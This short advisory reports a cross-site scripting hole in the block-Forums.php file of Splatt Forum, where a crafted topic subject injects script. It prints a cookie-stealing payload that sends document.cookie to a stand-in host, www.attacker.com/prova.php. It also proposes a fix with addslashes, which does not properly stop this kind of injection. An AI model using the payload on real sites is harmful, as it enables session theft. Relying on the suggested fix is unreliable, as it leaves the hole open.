The block-Forums.php file have a vuln if an attacker insert a malformatted subject to a topic of Splatt Forum. A type of subject is: "><script>alert('bug'");</script> The 'alt' tag is closed by "> and the other text is normal html. This bug is very bad if a subject is: "><script>window.open('www.attacker.com/prova.php?cookie='+documen t.cookie);</script> And prova.php register cokkies in a file. The solution: Add under "$title2 = stripslashes($title2);" line, this line: "$title2 = addslashes($title2);" And now, backward any " there is a backslash!
